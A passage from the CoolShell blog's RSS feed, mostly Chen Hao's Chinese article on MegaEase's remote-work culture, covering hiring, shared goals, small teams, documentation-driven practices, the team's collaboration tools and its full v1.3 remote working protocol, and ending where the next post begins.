是我创业的公司，主要是想把云计算（PaaS/SaaS层）的那些高可用高并发的分布式技术普及到那需要对技术自主可控的公司，这样就不需要去使用不能...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/20765.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-20773\" src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-300x177.jpg\" alt=\"\" width=\"300\" height=\"177\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-300x177.jpg 300w, https://coolshell.cn/wp-content/uploads/2020/01/remote-768x454.jpg 768w, https://coolshell.cn/wp-content/uploads/2020/01/remote-457x270.jpg 457w, https://coolshell.cn/wp-content/uploads/2020/01/remote.jpg 806w\" sizes=\"(max-width: 300px) 100vw, 300px\" /><a href=\"https://megaease.com/\" target=\"_blank\" rel=\"noopener noreferrer\">MegaEase</a> 是我创业的公司，主要是想把云计算（PaaS/SaaS层）的那些高可用高并发的分布式技术普及到那需要对技术自主可控的公司，这样就不需要去使用不能自主可控的闭源系统或是大公司的云平台。我于2016年开始成立MegaEase，从早期8个人，直到今天有20来个人，我们从一开始到今天都是在远程工作的公司文化。因为我很喜欢《<a href=\"https://coolshell.cn/articles/9156.html\" target=\"_blank\" rel=\"noopener noreferrer\">Rework</a>》这本书，写这本书的公司叫37signal（现名basecamp），这家公司在发《Rework》这本书的时候，整个公司只有16个人，分布在全世界8个城市，这种Geek的公司的文化很吸引我，所以，在我决定创业的时候，我就止不住地想成立这样能够远程工作的公司，于是，远程工作的团队文化就这样成为了MegaEase的基因。<strong>下面我会分享一下，我们公司的远程工作文化和其中的一些问题，最后还有一个工作协议</strong>。</p>\n<p>我们在早期的时候，8个员工来自5个城市，现在的20来个员工来自8个城市2个国家。虽然我们现在使用“共享办公室”，但是本质上，我们的整个文化是远程工作的文化。在2017-2018年度，我们公司产品商业化以来，公司早期的8个工程师在远程工作的状态下成功支持了得到的老罗的跨年演讲活动，以及其它几个客户，一方面验证了用户愿意付费购买我们的产品和服务之后，另一方面也有一些不错的收入，客单价都在百万左右。还记得当时，有几个投资人并不相信我们连个办公室都没有，而且8个人分布在5个城市，觉得我们是个骗子公司（哈哈）。在过去的一年，我们通过我们的产品和服务帮助银行电信互联网等公司进行了他们的系统架构的改造和升级，让复杂和高门槛的分布式技术和架构可以被更多的企业所掌握所应用。这说明，远程工作是没有什么问题的。实际上远程团队远程工作真的不新鲜，Github上有个Repo维护着一个<a href=\"https://github.com/remoteintech/remote-jobs\" target=\"_blank\" rel=\"noopener noreferrer\">支持远程工作的公司列表</a>，还有一个<a href=\"https://github.com/lukasz-madon/awesome-remote-job\" target=\"_blank\" rel=\"noopener noreferrer\">跟远程工作相关的Awesome索引</a>。</p>\n<p>当然，自从我创业以来，我身边就一直有好些不同的声音质疑远程工作。听过他们的理由后，我能够理解他们的疑虑和困惑，因为管理的确是一个很复杂的事，因为要面对的是极为复杂的人，所以，有这些疑虑也是正常的。下面是我的一些经验和分享。先说宏观管理，再说微观实践。</p>\n<p><span id=\"more-20765\"></span></p>\n<h4>宏观管理</h4>\n<p>我发现很多人比较质疑远程工作的原因，更多的是表现在对宏观的管理上有问题。所以，我还是想先说一下宏观管理，这其实并不分远程办公还是集中式办公，<strong>如果能够解决好些这管理上的根本问题，其实，远程不远程都无所谓了。只不过，这些问题在“远程办室”的场景更更突显罢了</strong>。</p>\n<h5><strong>一、努力找到好的人</strong></h5>\n<p><strong>团队管理的头等大事是找人，没有之一。</strong>很多人都会跟我说，你的这种远程团队需要很好的人。是的，没错，人很关键。远程团队需要的人的一般需要有这些特质：</p>\n<ul>\n<li><strong>能独挡一面的人</strong>。这样交给他的事能独立完成，没有路能自己找路，这样可以省很多管理成本。</li>\n<li><strong>沟通能力很强的人</strong>。一方面，他们把模糊的事能变清楚，另一方面，他能有效地说服他人。不然就会非常扯皮和消耗时间。</li>\n<li><strong>能自管理和自驱动</strong>。不能自管理和自驱的人，会增加大量的管理和教育成本。能自驱动的人，都是对负责的事情有认同的人。</li>\n</ul>\n<p>如果你仔细思考一下，<strong>你会发现，这样的人是任何一家公司所渴望的人，和远不远程无关</strong>。只不过，如果是远程团队的话，你会被逼着要招到这样的人。</p>\n<p>招到这样的人，你团队的执行力会非常的强悍。招不到这样的人，你只能为他们不能自管理和自驱而招“经理”，不能写出好的代码而招“测试”，不能很好的沟通而招个“项目经理”，不能独档一面，而要把好的人安排给他们当“教练”，而好的人则会被累死……</p>\n<p>这个时候，<strong>你就需要计算一下了，是花时间精力在教育不好的人，还是花时间精力找好的人？无论远不远程，聪明的管理者都会选择后者</strong>。这也就是为什么Amazon的Bezos会说，“我宁愿面50个人一个人都招不到，我也不愿意降低我的面试标准”。</p>\n<h5><strong>二、设定共同的目标和使命</strong></h5>\n<p>对于远程团队来说因为见不到面，所以，缺乏交流和沟通。所以，需要团队里所有人能在同一篇上，能够对要做的事有一个统一标准的认识。也就是共同的目标和使命的认知。知道要要什么，不要什么。知道取舍，知道trade-off。这些东西都是需要团队一起达成的共识。如果没有这样的“Same Picture”的目标和使命，就会出现很多不必要的误解和冲突。另外，因为团队和业务也在迅速发展中，所以，也需要不断地调整和沟通。这都需要领导者花费时间统一目标和使命。</p>\n<p>老实说，无论远程不远程，一个团队也是需要有共同的目标和使命的。没有共同的目标，就算是集中在一起办公，也一样没有效率的。</p>\n<h5><strong>三、倾向使用小团队</strong></h5>\n<p>因为沟通成本的问题，远程团队更为倾向使用小团队，但并不是说小团队会限制整个公司的规模。《人月神话》说过，只有小团队才能驾驭复杂的系统。Amazon 的 Two Pizza Team的文化（团队的大小只能到两张披萨就能喂饱的大小），就是把整个系统拆成“微服务”架构，这样可以导致整体效率的巨大提升。表现在，可以并行开发，专注于一个功能更利于解决复杂问题，简单可以更容易的运维，可以更容易的规模化……</p>\n<p>我工作的这20多年来经历过很多公司，尤其是创业的这几年来，看过的公司更多了（50+以上了），我发现，人数越多的团队，基本上来说，就更偏劳动密集型。劳动密集型的一个特征就是，<strong>大家整天在想，得整点什么事给这么多人，好让他们忙起来。而人数少的团队，因为人不够，所以每天都在想，什么样的事更重要，什么样的事可以自动化，怎么做更有效率……</strong>小团队和大团队的关注点就这么不一样了，所以做出来的事也就不一样了……</p>\n<p>当然，并不是说劳动密集型有什么问题，就像《<a href=\"https://coolshell.cn/articles/4951.html\" target=\"_blank\" rel=\"noopener noreferrer\">软件团队的两种管理方式</a>》一文所说的一样，远程团队工作更倾向于“电影工作组”式的每个人都是leader的知识密集型的团队。</p>\n<h4>微观实践</h4>\n<p>在远程工作中，我们需要有很多的微观操作来让大家能够更好的进行远程工作。因为远程工作也有一些问题（但是方法总比问题多，不是吗？）</p>\n<ul>\n<li><strong>文档驱动</strong>。首先，远程的问题就是沟通不方便了，集中化的办公一群人可以在白板上进行讨论，然后远程工作这个事就变成很复杂了。所以，当要讨论什么事的时候，需要发起人先写一个文档，然后大家在这个文档上进行讨论（我们通常使用Github的issue，Pull Request或Google Doc）。另外，写文档的好处太多了，除了给后人有一个可以追溯的东西，更重要的是，写作是一种深度思考，当你把你脑子里想的东西写下来的时候，你就会发现你的思考更多了。所以，文档驱动我们团队能力非常重要的事。</li>\n</ul>\n<ul>\n<li><strong>自动化和简化</strong>。自动化和简化是我平时追得最多的东西了，从软件的Unit Test, Functional Test, Performance Test 一直到用Kubernetes进行自动化部署，我要求的就是从一提交完代码后就自动化的上线。我们玩的是Amazon的“单分支”代码管理的玩法，一旦代码merge上master，就会直接上线（当然需要通过灰度）。因为远程团队如果没有自动化的工具，那么，就会导致整体效率的下降。</li>\n</ul>\n<ul>\n<li><strong>Owner文化</strong>。这个太重要的了，但是，这并不是在说，如果一个事没有owner，就会像“三个和尚”那样，事情就进了没人管的地步。这是因为很多人在工作中都是比较 nice 的，比较 nice 的人通常来说都不好意思跳出来对别人发号施令。所以，Owner 文化就是要求每件事都要定义一个Owner，而这个Owner是有权对其它人发号施令的，其他人也有义务要配合他。当然，Owner 的权利越大，责任也会越大！</li>\n</ul>\n<ul>\n<li><strong>Review文化</strong>。Review文档是一种把知识或是想法传递出去的方式。我们在实践过程中，需要大家把好的想法写下来，这需要包括问题背景、目标、可选的方案（这些方案需要有引用和数据，不能是拍脑袋）、还需要有Pros/Cons的比较。然后再发起讨论。这样，事情在一开始就做好，那么就可以让大家的讨论更加地有效率。<strong>很多人以为开会讨论有个议题就行了，其实不够，有效率的开会讨论需要的是议案，而且还是高质量的议案！</strong></li>\n</ul>\n<ul>\n<li><strong>目标承诺</strong>。我们需要每个人承诺自己的工作目标，这个完全由每个个体来发起、完成。一般来说，每个人自己给自己制定的计划最好是在1-2周内。</li>\n</ul>\n<ul>\n<li><strong>自我管理</strong>。我们的实践是没有审批制度，无论是，休假、报销、出差，完全是自己自由安排，但需要告诉团队（除非在一些关键时期没法休长假，需要整个团队全力以赴），但千万不要撒谎和作弊，一旦发现，直接开除就好了。这个是基于好人更多的原则制定的（没有必要为了少数的坏人一刀切后让所有人痛苦）</li>\n</ul>\n<ul>\n<li><strong>闲聊和自行见面</strong>。见面和不能见面是一件非常不一样的事，在一起工作时，人和人是会有感情的，因为会有闲聊。远程的时候，则只有工作了。所以，我们鼓励团队人员间的私聊，闲聊，互相对方讲讲自己的经历和过往，同时，也鼓励员工自行出差到对方的城市见见跟你一起工作的人，公司报销差旅费。</li>\n</ul>\n<ul>\n<li><strong>知识分享会</strong>。我们每周都有知识分享会，一次只讲半个小时，不贪多，就讲一个小的知识点。然后，团队中的一些人还主动使用Google Form来收集分享的反馈信息。</li>\n</ul>\n<ul>\n<li><strong>就地奖励文化</strong>。我们默认上是没有年终奖，只有就地奖励文化。也就是说，你做的事挣钱了，利润中有70%公司拿走，剩下的30%团队的人就地分掉。这样会让团队里的每个人都会想怎么挣钱，除了可以把精力放到那些能够让用户付费的地方上，更重要的是让团队成员了解一下业务和用户为什么要付费，这个是非常关键的。当然，如果公司没有挣钱，但是员工工作的不错，我们还是会给年终奖的。不挣钱的主要责任是我的，而挣钱的主要功劳是团队的。</li>\n</ul>\n<ul>\n<li><strong>外包支持性的工作</strong>。一些支持性的工作尽可能地使用外包，比如：HR、行政、发工资财务、员工持股、测试人员、定制化开发……这样可以让你的团队更小，更高内聚。更利于远程。</li>\n</ul>\n<ul>\n<li><strong>异步编程</strong>。如果一个项目是从零开始的，对于一个团队来说可能会是无从下手的，这需要有个人（owner）把代码的框架和结构给组织好。然后其他的人进入把坑填了，这样的效率会高很多。另外，不见面的结对编程，完全可以使用异步的方式进行，这其实就是多人干同一个pull request的方式。有Github这样的协议工作，远程编码变得很方便。</li>\n</ul>\n<p>关于我们的远程工具，我们主要是使用：</p>\n<ul>\n<li><strong>开发环境</strong>\n<ul>\n<li><strong>AWS</strong>，我们主要使用AWS，因为我希望团队在使用AWS的时候能够被潜移默化。</li>\n</ul>\n</li>\n<li><strong>协作工具</strong>\n<ul>\n<li><strong>Github</strong>。我们所有跟软件开发的工作都会在Github上，我们重度使用 Github 的 pull request 和 issue，也会使用 Github Project 里的看板和 Wiki。</li>\n<li><strong>Google全家桶</strong>。我们重度使用 Google，Google Group、Google Driver、Google Docs 主要是一些各式各样的文档。</li>\n</ul>\n</li>\n<li><strong>通讯工具</strong>\n<ul>\n<li><strong>语音沟通</strong>。主要是使用Zoom，因为Zoom不但可以支持几十人在线，还可以云录制。如果小范围交流的话，一般使用微信语音。</li>\n<li><strong>工作沟通</strong>。主要是使用Slack，Slack作为一个信息集散地，可以分频道，可以分thread讨论，微信注是个渣。</li>\n<li><strong>吹水群</strong>。我司的吹水群主要是Telegram，因为比微信好太多了……</li>\n</ul>\n</li>\n</ul>\n<p>你会发现，我们的工具有好些都是在墙外的，是的，因为墙内的同类的工作实在是太难用了，没办法不用。而且，<strong>我倾向于让大家用上最先进的工具，这样我们团队中的每个人的品味才会被这些好的工具潜移默化</strong>。</p>\n<h4>远程工作协议</h4>\n<p>下面是我们的远程工作协议（无删减），这是每一个远程工作人员需要同意并做到的协议（其中有 Amazon Leadership Principles 的影子），目前在 v1.3 版，未来还会更新，我现在把它晒出来，也希望得到更好的建议！</p>\n<p>&nbsp;</p>\n<h1>MegaEase 远程工作团队协作协议 v1.3</h1>\n<h2><a id=\"user-content-principles\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#principles\" aria-hidden=\"true\"></a>Principles</h2>\n<h3><a id=\"user-content-0ownership--leadership\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#0ownership--leadership\" aria-hidden=\"true\"></a>0）Ownership &amp; Leadership</h3>\n<p>每个人都是Owner，都是Leader， 如果看到团队或是项目有问题的时候，不要等，也不忍，请马上说出来，并给出相应的方案， <strong>自己跳出来召集开会，及时调整。不要闷在那里，自己憋！</strong></p>\n<h3><a id=\"user-content-1initiative\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#1initiative\" aria-hidden=\"true\"></a>1）Initiative</h3>\n<p>每人个都必需是主动的，都需要自己发起要做的事，或是自己要认领要做的事，如果发现自己没有事情了， <strong>需要学会主动发现问题，主动找到可以improve的地方，创新来源于此</strong>。没有路要学会自己造路！</p>\n<h3><a id=\"user-content-2objectives-oriented\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#2objectives-oriented\" aria-hidden=\"true\"></a>2）Objectives Oriented</h3>\n<p>每个人都是产品经理，也都是项目经理，每个人都必需把自己的工作和我们大的目标连接在一起，知道什么是重点，重点的东西就是两件事：一）从用户的角度出发，二）从产品的角度出发。 <strong>这意味着我们要随时观察整个产品的样子，而不只是自己这一块东西</strong> 。</p>\n<h3><a id=\"user-content-3insists-on-high-standard\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#3insists-on-high-standard\" aria-hidden=\"true\"></a>3）Insists on High Standard</h3>\n<p>举法其上，得乎其中，举法其中，得乎其下，举法其下，法不得也。我们要坚持用高的标准要求自己，对于高标准的目标不妥协，但是在实施路径和策略上可以妥协。</p>\n<h2><a id=\"user-content-practices\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#practices\" aria-hidden=\"true\"></a>Practices</h2>\n<h3><a id=\"user-content-0online\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#0online\" aria-hidden=\"true\"></a>0）Online</h3>\n<p>工作的时候必需在线。如果不在线了，需要说一下不在线的时长, 目前我们工作的事宜在通讯工具采用Slack， 如果需要请假的情况，如果不是紧急情况，需要<strong>提前一天</strong> 在MegaEase的Slack <em>#random</em> 频道中提前说明。如果是紧急情况，也需要提前在<em>random</em>频道中告知大家。</p>\n<h3><a id=\"user-content-1-documentation-driven\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#1-documentation-driven\" aria-hidden=\"true\"></a>1) Documentation Driven</h3>\n<p>面对面交谈、电话语音、微信、Slack虽然是比较实时的反馈工具，但是只有文档是可以把重要信息给结构化的，而且写文档其实是比起前面的方式来说是更为深度的思考，因为会让你自己审视自己的想法。所以，对于一些重要 “<strong>功能</strong>”、“<strong>流程</strong>”、“<strong>业务逻辑</strong>” 、“<strong>设计</strong>”、“<strong>问题</strong>”，以及“<strong>想法</strong>”，最好都以文档化的方式进行。请使用Github的 wiki、project、issue这些工具或是使用Google Doc.</p>\n<h3><a id=\"user-content-2design-review\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#2design-review\" aria-hidden=\"true\"></a>2）Design Review</h3>\n<p>对于一些重要的问题或是工作（每个人都能够判断什么是关键问题和工作）， <strong>需要先把自己的想法share出来，而不是先实现</strong> 。</p>\n<p>一个好的 Design 文档需要包括如下项：</p>\n<ul>\n<li><strong>Background</strong>。交待这个事的背景、需求和要解决问题。</li>\n<li><strong>Objectives</strong>。说明这个事的目标和意义。</li>\n<li><strong>Alternative Solutions</strong>。 给出多个解决方案，并能够进行 Pros/Cons 对比。\n<ul>\n<li><strong>Reference</strong>。方案需要有权威引用支持。</li>\n<li><strong>Data</strong>。方案需要有相关数据数据支持。</li>\n</ul>\n</li>\n<li><strong>Conclusion</strong>。结论是什么。</li>\n</ul>\n<h3><a id=\"user-content-3-simplication--automation\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#3-simplication--automation\" aria-hidden=\"true\"></a>3) Simplification &amp; Automation</h3>\n<p>简化和自动化是软件工程所追求的两大目标，简化不是简陋，简化是对事物一种抽象和归纳能力，其能够提升软件的复用能力和扩展性，自动化是工程能力的重要体现，一方面，远程工作中自动化的能力可以让整个团队更高效地协作，另一方面，自动化是规模化的提条件。所以，我们要无时无刻地思考如何简化和自动化现有的事情。</p>\n<h3><a id=\"user-content-4review--refactory\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#4review--refactory\" aria-hidden=\"true\"></a>4）Review &amp; Re-factory</h3>\n<p>无论是代码还是工作都是需要反思和重构的。反思是进步的源泉，项目告一段落时，出现问题时，都应该召集团队做集体反思，把好的东西坚持下去，把不好的东西优化掉。这样才能进步和改进。但是任何的优化措施是可执行的。</p>\n<h3><a id=\"user-content-5milestone-commitment\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#5milestone-commitment\" aria-hidden=\"true\"></a>5）Milestone Commitment</h3>\n<p>对于一个项目，每个人都需要有自己的 milestone 计划， <strong>这个计划最好是在2周以内，1周内是最好的。而且要承诺到</strong> 。</p>\n<h3><a id=\"user-content-6evidence-driven\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#6evidence-driven\" aria-hidden=\"true\"></a>6）Evidence Driven</h3>\n<p>任何讨论和分析都要基于权威的证据、数据或是引用。在我们做设计的时候，或是有争论的时候，说服对方最好的方式就是拿出证据、数据或是权威引用。比如：我的XX设计参考了TCP协议中的XX设计，我的XX观点是基于XX开源软件的实现……如果争论不休就停止争论，然后各自收集和调查自己观点的佐证。</p>\n<h3><a id=\"user-content-7demo-day\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#7demo-day\" aria-hidden=\"true\"></a>7）Demo Day</h3>\n<p>把自己做的东西跟团队做一次实时的演示。这样有助于开发人员从产品角度思考自己的工作。除了演示产品功能，还可以演示算法，设计，甚至代码。</p>\n<h3><a id=\"user-content-8-effective-meeting\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#8-effective-meeting\" aria-hidden=\"true\"></a>8) Effective Meeting</h3>\n<p>会议主要处理三件事：提出议案、发现问题、共识结论。</p>\n<ul>\n<li>会议不仅仅要有议题，最好还有议案。</li>\n<li>会议期间不解决问题，只发现问题，和跟踪问题。</li>\n<li>会议必需要有共识和结论，如果不能达到共识和结论，那就当成问题处理，由问题的负责人跟进问题。</li>\n</ul>\n<p>关于周会或是临时性的团队会议（私下讨论不属于会议），会议组织者需要在事前收集会议议题，其中包括如下分类：</p>\n<ul>\n<li><strong>项目类</strong>：需要事先有项目进度计划表（任何分项最好控制在1-2人周内）</li>\n<li><strong>方案类</strong>：需要事先写好相关的方案和设计才能讨论（参看 Design Review 章节）</li>\n<li><strong>问题类</strong>：需要事先写好相关的问题和解决提案（参看 Design Review 章节）</li>\n<li><strong>决策类</strong>：需要事先写好整事的前因后果以及利弊分析</li>\n<li><strong>信息类</strong>：需要事先写好相关的事宜说明</li>\n</ul>\n<p>组织者需要在周五的时候发出会议议题收集，其中包括：</p>\n<ul>\n<li>自己知道的项目的进度跟进（需要相相关的项目负责人准备相关的项目计划）</li>\n<li>方案和问题类的需要各个项目负责人提出来，并有相关的设计文档可供Review</li>\n<li>信息类和决策类的事宜可以写在Google Doc上，也可以写在 Team 的 Issue 里</li>\n</ul>\n<p>其它负责人可以在会议上加入自己团队的东西，或是要求其他团队提供更多的信息。</p>\n<h3><a id=\"user-content-91-2-3-escalation\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#91-2-3-escalation\" aria-hidden=\"true\"></a>9）1-2-3 Escalation</h3>\n<p>遇到问题的时候，自己一个人处理1小时内没有思路，请找他人小范围讨论，如果与他人2小时内没有结果，请上升到团队范围，如果在团队范围3小时内没有思路，我们就需要借助外部力量了。</p>\n<h3><a id=\"user-content-a3ps-update\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#a3ps-update\" aria-hidden=\"true\"></a>A）3PS Update</h3>\n<p>每个人更新进度的时候，不要只是一个check-in，而是需要更 meaningful 的说一下工作内容，在工作告一段落的时候，希望简单的说一下工作总结。这里的practice是： <strong>3PS &#8211; Plan，Proirity，Problem，Summary， &#8211; 你的计划是什么？优先级是什么？遇到了什么问题？当前的工作摘要</strong> 。</p>\n<h3><a id=\"user-content-b-disagree-and-commitment\" class=\"anchor\" href=\"https://github.com/megaease/team/blob/master/internals/Working.Protocols.md#b-disagree-and-commitment\" aria-hidden=\"true\"></a>B) Disagree and Commitment</h3>\n<p>在我们开发的时候，团队的成员都会有自己风格，必然会对同一个问题产生较大的争议（Disagree），我们鼓励有争议，但是是在团队的决议作出之前。一旦团队形成决议，团队的成员就必须支持这个决议，并在这个方向上做出贡献。</p>\n<p>但是关于决议的形成过程肯定充斥着各种的争论，对于这些争论，我们可以按照下面的Guidline 来处理争议：</p>\n<ul>\n<li>Owner要负责对重大的讨论推进，尽快形成结论。</li>\n<li>在决议过程中，要有纪要，要更新到 Github 相关项目的 Issue 或 Pull Request 里，并且要让整个团队知道，信息平等很重要。</li>\n<li>不要妥协，坚持高的标准。第一标准是工业标准，第二标准是国外的大公司标准（如：google, fb, github, aws…），第三标准才是国内的标准。</li>\n<li>那怕再复杂，只要是标准，就可以说服用户。用户再无理，也不可能反对工业级的标准。</li>\n<li>Release出去的东西，只要被用户用上了，要改就难了，所以要谨慎而果敢。</li>\n</ul>\n<h4>小结</h4>\n<p>远程工作并不是目的，但是远程工作会逼迫管理者面对管理的本质问题。远程工作趋向于找到优秀自驱的人才，守护团队的共同目标，并打造精悍高能的团队，并要求我们在需要沟通和协作的地方使用更为科学和有效的手段，在各个环节中提升工作效率，降低组织内耗……你的团队管理模型是否最优，在远程工作下就会一览无余！远程工作只是一个手段，提升管理水平才是真正的目的！</p>\n<p>（全文完）</p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/10217.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" alt=\"加班与效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10217.html\" class=\"wp_rp_title\">加班与效率</a></li><li ><a href=\"https://coolshell.cn/articles/9156.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/03/rework-150x150.jpg\" alt=\"《Rework》摘录及感想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9156.html\" class=\"wp_rp_title\">《Rework》摘录及感想</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/20765.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>87</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>使用简单的逻辑方法进行独立思考</title>\n\t\t<link>https://coolshell.cn/articles/20533.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/20533.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 26 Dec 2019 14:46:53 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[思考]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<category><![CDATA[逻辑]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=20533</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这是一个非常复杂的世界，这个世界上有很多各式各样的观点和思维方式，作为一个程序员的我，也会有程序员的思维方式，程序员的思维方式更接近数学的思维方式，数学的思维方...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/20533.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/20533.html\">使用简单的逻辑方法进行独立思考</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-20548 size-sup_wechat_small\" src=\"https://coolshell.cn/wp-content/uploads/2019/12/logical-smart-intelligence-200x200.png\" alt=\"\" width=\"200\" height=\"200\" srcset=\"https://coolshell.cn/wp-content/uploads/2019/12/logical-smart-intelligence-200x200.png 200w, https://coolshell.cn/wp-content/uploads/2019/12/logical-smart-intelligence-300x300.png 300w, https://coolshell.cn/wp-content/uploads/2019/12/logical-smart-intelligence-150x150.png 150w, https://coolshell.cn/wp-content/uploads/2019/12/logical-smart-intelligence-270x270.png 270w, https://coolshell.cn/wp-content/uploads/2019/12/logical-smart-intelligence.png 512w\" sizes=\"(max-width: 200px) 100vw, 200px\" 